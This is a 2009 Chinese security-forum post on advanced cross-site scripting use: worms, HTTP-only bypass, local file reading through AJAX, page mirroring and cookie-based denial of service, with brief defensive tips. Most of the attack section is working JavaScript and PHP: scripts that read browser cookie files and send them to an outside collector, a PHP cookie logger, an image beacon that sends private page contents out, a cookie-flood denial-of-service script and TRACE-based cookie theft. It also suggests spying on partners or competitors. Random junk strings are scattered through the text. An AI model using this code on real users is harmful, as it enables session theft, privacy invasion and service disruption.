XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
# G( r& h1 E* ?8 m  s+ x+ W4 h
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
# E/ B, Q- s+ T4 E' i& UBy racle@tian6.com   
9 Z* r5 {% M9 f& o1 \6 }( k: Nhttp://bbs.tian6.com/thread-12711-1-1.html
0 k0 T' S4 j8 [5 Q) X转帖请保留版权
: D$ V* Y. M* n, c" ?" h4 C

2 g6 S4 B, ]1 G
-------------------------------------------前言---------------------------------------------------------


5 U# _; O6 t+ ^, v( P本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
$ E5 u& s6 \3 ]5 a& q; Z+ fhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
! X6 y6 U* N5 o8 ^3 f7 Hhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
; o) m; E2 g! |1 `; X! j/ S5 ~http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
+ D+ K, f3 t8 I* bhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
$ a9 M9 Q+ N9 y/ Z! N/ ahttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持



# c5 I: p; r, L7 o4 z. v
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
  ^9 d. `3 ^$ d6 Q$ G3 c+ ^- l
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

+ u7 q6 v1 l$ l1 g' TQQ ZONE,校内网XSS     感染过万QQ ZONE.

/ w, E; L9 F4 E# w4 j: k5 W3 _. ]OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

9 B0 z# R, y( E* _3 g2 D..........
复制代码------------------------------------------介绍-------------------------------------------------------------
+ [4 Q$ U( D6 h1 c
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

& m! s) ~7 k; e1 E/ d3 g* j8 _
7 t) Y8 L" a/ L  k; g& g3 V
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.

) |- ~. h$ N' @9 p% s) ?

$ g: L# m- @6 _5 n. d6 G如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
4 ^, F; O5 U, ]* M' b复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
3 `* _5 f/ ]+ F+ X1 T我们在这里重点探讨以下几个问题:

9 k# h# D/ `# s! k! o; I3 ]1        通过XSS,我们能实现什么?
, O$ W7 }, R- S5 {* {
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
5 m8 w# H% h: [4 ]  n
8 c+ o9 y7 r" `' D% K3 L3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
- u  n+ C1 |, m# p0 c" k0 O
4        XSS漏洞在输出和输入两个方面怎么才能避免.
0 f* T% X/ S4 t$ F# w


6 ]3 q, v: r; u$ G" H7 D/ H/ W------------------------------------------研究正题----------------------------------------------------------

" t* V: d6 N; _' j  r
! h" D' Y0 F& t+ H" s
. O& O9 Q7 P! B$ e4 j- v0 K7 s通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
$ m+ O" ?1 X5 N) X  t4 G1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
5 g3 R, J4 M; M, h" |2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
* u9 l. U1 {3 K5 i4:Http-only可以采用作为COOKIES保护方式之一.
+ q& F0 P+ d" l6 `8 k
+ W2 ^1 P, {, s( J


2 t' s2 {7 j& ?, p
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
, |) o* n7 i4 o) k$ q! a7 G- l
; y% c, ]# {& Y& Q
( D8 R5 L, t6 |
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
2 R) g" x4 W4 n6 \


' T  X! J! O7 G2 o3 `  Q) p    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


5 s% |. N9 }3 O7 I
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

- G$ r5 C* n4 A( ?# h    function $(x){return document.getElementById(x)}
8 r/ Q7 T& u4 o& e; o% m
  F& I% ?% f' T0 J
; `% }" n3 c/ {2 }) R$ W
- d# J$ U. F( j8 S    function ajax_obj(){

, D7 y& A; w- i5 w    var request = false;

    if(window.XMLHttpRequest) {
" `$ H5 t1 E: F8 w8 i1 p
0 ]3 t& _6 q# v6 z7 p+ d9 y. x    request = new XMLHttpRequest();

# d% j7 R6 G( n2 c/ X$ P    } else if(window.ActiveXObject) {
0 ^6 ]' C7 W; |* z0 K
# i3 {- W. a9 L# V* j( I$ t    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



$ l' s+ J6 u% ?$ i    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
: j9 T7 C- G; F6 A! J7 @) ~
8 A: i; d' A. \& H    for(var i=0; i<versions.length; i++) {

8 b" R6 T% N: l7 r) D3 F; m; R    try {

" g% g* j& h; _* b! t" J4 Q    request = new ActiveXObject(versions);
  c# j/ O/ u% ^* J0 q! N
9 ~1 N% G6 N' B$ ~    } catch(e) {}
3 f1 K1 |8 l  ~; \
6 F/ S5 S+ l: I) g3 M    }
2 f/ S% l: V* w7 w1 _) |0 o- Q6 O
0 f' _3 X* w; ^8 f) b0 w/ ^7 B, m' G    }

& h  |' O7 V" m1 Q    return request;
# j; c- h1 T4 [6 J
    }

4 `  Z  N  W3 ^    var _x = ajax_obj();

( }  a; n1 b8 y3 r# U: i- L    function _7or3(_m,action,argv){
2 V% U4 O9 e  X( Y9 C
    _x.open(_m,action,false);

1 d* p8 H; C  s: j/ O    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;
$ B( }/ A0 x; u& c1 Y% U5 B# x( p9 e
- X# C5 ^$ D. j  f  S    }
6 E$ n- I/ m) [0 n) f) t7 B. u


    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);



" c% Y" M" p2 q' }    </script>
3 J0 t4 J" {5 r9 T1 B5 m( K) O9 N: c复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

3 d5 R  P) k4 Q8 F1 T    function $(x){return document.getElementById(x)}
1 u" }1 b3 H% A
, m( N+ S. `. r/ N6 L( E8 {5 H5 ~
6 a% H/ E+ P% M4 F; G
    function ajax_obj(){
" p5 B6 Y% C3 I
) {+ R% ~6 v/ e; Q) r) s4 X% o    var request = false;

0 Z$ s5 F4 I0 K1 \* e1 _" l    if(window.XMLHttpRequest) {
. L" }7 m4 Z" ]& X" T
  r6 w& Q; x/ s( O    request = new XMLHttpRequest();
1 W. B, k6 X; g' p$ \) ?% _7 }
    } else if(window.ActiveXObject) {
# G1 S; ?. Q& [; |* u! Z
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



) C, @  j' X( Z/ Q    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' \# U5 X1 f$ g# W/ j& r
4 }( L3 x% Y9 O3 s& ^. v- Z    for(var i=0; i<versions.length; i++) {
4 X6 j  G  w- k5 L# i3 `
# F7 \, J" r0 I, `0 }2 v5 R    try {

4 g3 \* j) P% n) O7 H' J+ x    request = new ActiveXObject(versions);
* J% y" _7 `9 ~; }0 C) Z
7 q5 L2 s6 P0 T# A' A/ R/ i! V6 ^$ {    } catch(e) {}
- g) d7 I& z% p2 r& Y- G& i
    }
, K6 s1 N  t6 }
. b7 u+ B; J7 _* \2 G4 Z: J' Y2 i3 v    }
: L9 `/ k3 p% j3 D' T3 \! B9 r
$ E) h' E& [7 d( }5 M    return request;

    }

    var _x = ajax_obj();

1 ?6 c0 {3 J& a5 n( ]( |( e    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

0 ]/ y- J0 _4 d3 `5 O    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
+ _- x0 Q8 w4 w: H5 I' G
/ A1 m( M  K" _. N+ q# @, i% j    _x.send(argv);

    return _x.responseText;

; H) p5 K5 T, ^- j    }
, a/ x" I3 @. a" [

" Y+ g' @) ?+ {% P" {' V3 A! T- R1 [
1 q6 ^0 h0 `. R" J9 [. G    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);


0 k3 x% k% M6 b& m: {( Z) o
    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
8 ~: V' q0 D% x/ I
$ W0 d3 Z- g- m& W' Y) K3 z3 x0 v
9 Q/ i3 A  O- A7 t+ v0 I
$ O& G& p- h! P; j3 N<?   

/*  
2 y/ Z# Z& y/ h8 C* I# v
2 l/ B  R0 j( T3 g, V" R     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
. v1 Y# B9 u% \3 L
9 p+ B9 y+ ^! d/ v5 v. C2 `     www.inbreak.net   
: L8 H3 Q5 `3 Y! z
     author voidloafer@gmail.com 2009-4-22   
3 ~1 \( e# f, k$ J9 i
2 r! ~8 E6 ?% n/ U0 {     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

2 l. h) j' S* M( x: w! v; X*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   

+ d$ P0 R3 p) j" {; g! `header("Content-type: application/kxlzx");   

/*  

3 {: c+ ?) M/ g" u     set header, so just download html file,and open it at local.  

*/  
4 C  _$ P6 v1 u/ |5 Q' `# N  A1 t
8 ~* A& Q& Y7 [# A?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

8 c. _7 a5 Y) F# Y; I' _7 ~* ]     <input id="input" name="cookie" value="" type="hidden">   
! w' A8 [5 I. J  e3 ^/ r
8 Z, J6 j$ w* D3 h</form>   

5 Y% K) g4 e# B' `2 \3 M<script>   
7 ]* E7 J+ [! m
5 C* o8 L; e5 i9 Sfunction doMyAjax(user)   
& @( l8 T' l4 q! W
{   
  w) P; h1 R# @( u4 D. O
& \+ D" L+ Z. a/ wvar time = Math.random();   
2 \$ m+ v' q3 N+ G1 L/ i' K
- f! X9 ?. n& N1 s* B6 t. b5 ?/*  
; g, z1 z6 v& {2 d
9 @6 B# e  R8 T% {  \! Z0 ]the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
! }. L+ M( a4 V5 ^7 @8 c& Y0 }0 {
* ?7 C) ]* @4 T5 Z4 vand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

$ M* n. @/ E! M- [+ r, {. Qand so on...  

*/  

1 `8 e6 v4 R5 O3 e" Cvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   
& N  B/ D" E0 v1 K; {" u- J) P
startRequest(strPer);   

% a* d- G: E: W' q6 j
0 C. t/ |/ W, O* i7 k7 ]/ z
}   
1 Q) s2 ?3 n0 X; H! r
3 E! s1 S! L; @* Z3 K7 i   
& _2 W/ V$ P3 z5 I" ?) e
function Enshellcode(txt)   

{   

var url=new String(txt);   

" x* O2 g  g' D* e/ _' S% cvar i=0,l=0,k=0,curl="";   

# M4 ^! y: Z6 |) y8 h: Vl= url.length;   

for(;i<l;i++){   
& r. a+ x; ?& S6 }7 H
, H. \( D+ P2 A$ i2 p2 r  U' ak=url.charCodeAt(i);   
6 x+ |) S! ^8 \; z0 Y/ d- B/ N
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
. Z! F8 }0 g) [+ X' a# o* @+ v
; R( p$ T/ B! v+ H+ Jif (l%2){curl+="00";}else{curl+="0000";}   
2 T5 e: N6 ?! @, ~- S& Y% B" O
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
. v  ]9 j; p4 b9 ^( R" c: @
return curl;   
9 v% q- I& w$ w8 b2 y7 f7 p
2 c- t- u+ \! V" w% f, z( ~- r}   

! f3 j0 M9 q' A0 z" c   

8 [2 a9 q9 j0 ^1 |; k' f! e, U   
% m8 ?) Z# E; X: \& D# g' A. v
var xmlHttp;   
" H& f: d+ |. B: {) ]  y$ P
function createXMLHttp(){   
& T1 H2 a' U5 `+ ?1 `& \; T
' ]5 L2 X: E3 m     if(window.XMLHttpRequest){   

! S3 N' g, F# a6 A* KxmlHttp = new XMLHttpRequest();           
5 F1 i8 }# f7 O/ a& u3 p
     }   
8 {- A& m3 `  h
1 }$ m0 e& l3 p9 S; v; W' b     else if(window.ActiveXObject){   
" @+ l( W: p) `( ]" X* h( B6 a
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

% U2 w4 c% S" r     }   

}   

   
% U$ F$ I; X6 O; c$ b' `
1 ?4 n* o" R" E: d$ hfunction startRequest(doUrl){   
& ]3 M. @( B6 e* ]$ Q$ X
   
& P3 i. N6 U" q& I, P" d
& ^% \3 t( B0 E6 l8 s     createXMLHttp();   
  V% ~% ]) K3 C2 q2 Z3 }6 i9 _
6 O- W9 X5 m# L1 W- v  ]5 N

     xmlHttp.onreadystatechange = handleStateChange;   
8 C* v! {9 Z( m9 ^0 G$ h
& c3 E& t- Y% c' x
: v- B% Y, Z- ^/ Y, A
     xmlHttp.open("GET", doUrl, true);   
! ~  M, n4 @0 [; L

8 x3 c# V7 a; y/ }/ K/ X
' O% \* I/ e' M8 I     xmlHttp.send(null);   
# R/ V5 A& R3 n/ G  u' e7 @

# M# y( {" T  a  i2 A) g) r

$ G, B2 s( w! V9 h
3 ^( n$ w& y! w- |- M8 q& o( t: [}   
! y0 x) N/ V, j) d2 \! }
/ Z' X$ i) q$ Q7 k6 r$ N   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

+ k, F  F4 c' L4 F  O6 [/ Y     var strResponse = "";   
: r1 @; m6 N1 c+ [' P
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
( U, g$ z" y+ C: Z* Y" U! Y8 H
, c, U% K* F5 [/ W7 f        
4 u! _% P8 \0 z. {6 g% e6 q8 f+ k
8 z+ u+ V1 ?% v8 y% n+ v     }   
2 m1 Z) O# A* L/ ]$ W
5 |3 R7 h# S+ v- C}   
# Y" A( w: m' E3 R
3 Y8 [5 y" E. H! p( s) C" E( _   

/ C: f# J$ r/ R8 `; Y$ E5 s8 L   
* S6 w+ n  y$ W# d
7 m" d3 z# p8 \& vfunction framekxlzxPost(text)   

; h$ T4 s3 B0 G7 {{   
! o  w6 h/ {: K" h& O% O
     document.getElementById("input").value = Enshellcode(text);   
, ~5 [7 s* m9 \; g) ~3 g$ J
: |( X& \9 ^& k" H     document.getElementById("form").submit();   

}   

   

$ }, j$ k  T/ t, O6 ?doMyAjax("administrator");   

   
/ Y" Z( p4 P: B# I( Z' j
# I6 c- R6 e  t9 [</script>
8 \7 Z) ^8 h6 l- j6 Y( z% a/ Y复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

- z! n" w( U6 x* p' Avar xmlHttp;  
2 e* O' y7 x% u/ K, j7 F! a- D
; q0 X. g. H% ?# _function createXMLHttp(){  
, ]5 e+ p5 u' H7 ?
     if(window.XMLHttpRequest){  
3 @+ Z( V. x+ \+ M6 d: H$ |0 d
( P# O: d& B' {3 X         xmlHttp = new XMLHttpRequest();         

% a: k6 w/ K5 S. ^     }  

     else if(window.ActiveXObject){  
+ e3 C& _9 i  B2 z7 c
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
% `5 s8 n4 y0 L  R
5 m+ A( s4 Q- u5 R$ c& Z     }  

3 X! V0 W9 K% ^) P& W}  

' \5 g7 E/ V1 C' x" A: l   
6 t% N, [2 x8 V  C' r
function startRequest(doUrl){  

           
- r; D2 y7 A# k9 _9 r0 r
     createXMLHttp();  
( P* O& Y/ J# l, P/ C, k
      
: N. |2 a" E0 s0 K2 n, S
     xmlHttp.onreadystatechange = handleStateChange;  
! @/ p+ S4 B5 A1 c
      

( F& e# D: n9 L     xmlHttp.open("GET", doUrl, true);  
: P1 F  s4 p- b9 ]7 t  \) m1 {
' R& M. i! X1 _( b8 l" c6 @      

! }1 r5 X) g' F' M" j; M7 {     xmlHttp.send(null);  

$ |4 q6 P! w( o8 p4 ~5 d% w4 w1 p      
6 M# o+ O6 E* b4 ^
" y0 H6 p* B! c      
4 x: u9 i5 |, r
}   
" f* c) U4 V4 V* X/ v
  N$ \& Q9 m4 R   

function handleStateChange(){  
! P5 u$ Z9 n: d4 K
     if (xmlHttp.readyState == 4 ){  

8 l4 a" A8 m2 \; X  w8 }             var strResponse = "";  

9 g% T1 m$ f* S$ ]6 O9 s0 o2 o; Q             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
4 a9 N0 P  P5 k0 n0 s/ j
               

. s$ v. _: z: I     }  
( r7 [4 D5 c# k0 o
}  
* u8 R! h; _4 Q! \  Y" P5 R. P) m
+ |8 M9 ~# A9 ?0 l' D' Z4 V   

function doMyAjax(user,file)  

  q! D2 N" a6 O{  
) o9 ?, h. [. Z% \  ?
         var time = Math.random();  

           
* g- K0 n) m0 R: k6 @, y. J- e
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
9 S! Y! t* a6 m% G
+ T1 {9 ?4 V. ~) P           
! U4 T1 V( V: j
         startRequest(strPer);  
6 E1 b7 }# _& h2 w' e- L7 H
, k$ v0 k, ?6 D1 I      
( B5 S3 P/ W; [; e' ?$ c
}  

   

function framekxlzxPost(text)  

/ Y( D' U# U! A1 \/ f. ~{  
" |' ^; ~- V; a3 C* O* e: g
8 b7 a6 J. V% q5 ?1 z. j7 U     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
) C* q8 x: h0 I2 O7 h
' T( y4 T" {% s1 p. ~     alert(/ok/);  
0 R, N. L  O1 I2 i% ^3 T% W
}  

   

doMyAjax('administrator','administrator@alibaba[1].txt');  

   

: w4 z0 Y$ v* t" P0 w, z</script>



5 Z2 X4 t% z( i3 K  w  r# ~

a.php


& b* l. b4 D) t1 L+ c6 z0 \# v% H
9 A) g/ G& Q% q<?php      
3 w1 [; _9 K) m6 R' s
   

8 `/ L  K$ s) S3 }$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
5 f% ]; P: N# u/ N& u
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
& x. c- ?" m3 E, k+ s& u
  
$ D" t7 R. A% R! d
% f; [. b0 q* ^9 O2 J8 l$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
; ?7 \$ p2 U  k9 \# W- k7 |# G$ h
fwrite($fp,$_GET["cookie"]);      
- w0 S1 N( J2 @+ o' g" |
0 \0 o, O3 ~& e* i. cfclose($fp);   
3 m0 r3 K! ~7 O& N0 B' d$ Q% n" a  k- Z
7 w( M7 A# C! @5 m, \: X?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
; S. _# L/ a  N6 a, q/ K+ J
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
9 m! P0 G! c% c利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
8 S  u3 _* @6 e  i# `
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
+ R. I, q: i4 @  d* V4 F7 ~
function getURL(s) {
- S9 ~' ]: {; v3 N0 u2 [; W
var image = new Image();

image.style.width = 0;

& ~3 a* J" a9 K8 k) }6 v, y5 e2 m* Aimage.style.height = 0;

8 L% R, \% e6 V( f$ gimage.src = s;
) q; \0 J, b6 g
0 W7 K' [/ J$ z( u6 e+ {; Y}
  W: I% D; q+ T0 \! l
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
7 {' Z* G: x$ @6 q$ [" y
- w6 X, c  g# B! O4 G- ~var metastr = "AAAAAAAAAA"; // 10 A
% H- e7 U1 ?$ J' ?: l) A6 g. K
% K. |" p3 s; r1 o  P! D, D9 c) Evar str = "";

5 B6 S2 R+ m- r7 Q" T' _while (str.length < 4000){
% S1 T6 |' v3 ]- W% E# O# b5 x
    str += metastr;
* `/ K$ i) X: g8 G' n
( G! {0 Z9 b) |; k$ U; \; a}



document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

' z# x" d! w: ]. d: K' |& z</script>
2 P! d& d6 T" \; `$ ?
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

2 N$ w  x. ^( }0 S( ~假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
  C" K! Y+ j3 @8 u9 m% _1 L
* x& i+ A/ a( n- ^) Z
! ^8 X4 L4 X6 p4 b. D, C" l( \- f
+ M/ ]+ H' P6 z
& k/ L& q/ M1 b4 i, B% `
6 p& Q9 ^: X% q; S$ j
4 T" n! n  X' k(III) Http only bypass 与 补救对策:

, P5 N* I7 T) R, \  M/ |什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

+ Q* F# q& u. A3 {* N/ p9 j# t! Mfunction normalCookie() {

( F7 p/ l2 b8 f. ~document.cookie = "TheCookieName=CookieValue_httpOnly";

) f5 b6 C/ a0 r( v9 Palert(document.cookie);

7 f& d! X' G7 e6 ~9 ?/ w5 e}

. F( L4 C- p% j; r! V, y! D9 f' D$ T
( p( D6 n0 a- R
# U( v9 }3 U4 N7 g& k
; |7 V5 s4 \+ q
3 c  M$ r7 N8 F% `5 jfunction httpOnlyCookie() {
8 i0 [& S7 n) P0 v% c
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}
% ]0 b6 O% A  l- C, }! C

" O. n, p5 x) T6 O# C$ W+ y4 `; g
  S2 O3 ]% S4 U& i8 j//-->
9 v. d+ _# A2 s6 V& u
</script>
2 O) r$ ^- q7 p2 L, M) D

. c5 G; l  F7 ~# L7 A7 e1 O/ q
- |9 E5 `7 K7 h$ ^) ?: j' ~<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

4 [- D! O8 V/ V+ K<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
2 y  p4 M2 H1 X% t! O复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
, {; e' E  ~: v1 B; a, p( d5 \, k
- X3 ~6 M- o! t5 C/ s7 h: k

0 a' e! u5 i/ U7 Vvar request = false;

        if(window.XMLHttpRequest) {
) z; i8 r0 S$ b  g. A. X
" f  m1 e9 z& y2 z1 W) L            request = new XMLHttpRequest();
- I( v- ^* z4 a: n, C1 M& i
            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

6 L% E5 N+ x9 J            }
( G+ ~* x! }! T, d7 M
3 q  u) s  b6 ]8 Q' T' |        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

% u* r: N% l# @2 H& p/ G            for(var i=0; i<versions.length; i++) {
7 {6 B2 \3 ]7 b* F) P7 d( k1 Q
                try {
: r2 d  w' R  t
3 M# n  T; B. Y# a/ o                    request = new ActiveXObject(versions);
) o* s( W$ }: P9 I1 p/ T! n0 D
' ^$ b5 I, \( t$ G7 f* i                } catch(e) {}

2 n" q+ G% z9 P6 p7 `& N6 N            }

        }
2 ]9 |9 Q! l* y2 x: Y
xmlHttp=request;

9 W9 u0 K3 U( e2 ~# ]xmlHttp.open("TRACE","http://www.vul.com",false);
9 q5 C8 L( R3 R6 k
- J5 g7 N" i; e. N- fxmlHttp.send(null);
: v9 j, l! L3 x* ?
4 u$ z6 L% L4 q; y7 S0 f+ k0 kxmlDoc=xmlHttp.responseText;
9 z  }5 d' t6 ]5 K" q5 N. k6 K2 g
alert(xmlDoc);

/ d  N8 C# r: Q</script>
2 g7 S8 |0 `/ x1 j复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
, K3 _; L7 K/ @# {6 T5 U
( i, A5 l$ v& o& ?! T& Q& Q1 ^var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
+ y* d5 C3 [" \) M
XmlHttp.open("GET","http://www.google.com",false);
* K  M4 E9 i; r5 A4 X5 ?7 V
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
) k% W; ]; s5 x+ n# i# o0 I6 m
2 }4 I  C3 G5 n/ `) S0 aXmlHttp.send(null);

var resource=xmlHttp.responseText

resource.search(/cookies/);

4 Z- F+ V0 L  k! F......................

</script>
. L. m& Y+ T6 C! H
' S/ H$ R9 l( g  R% w2 o6 }- o3 R' _
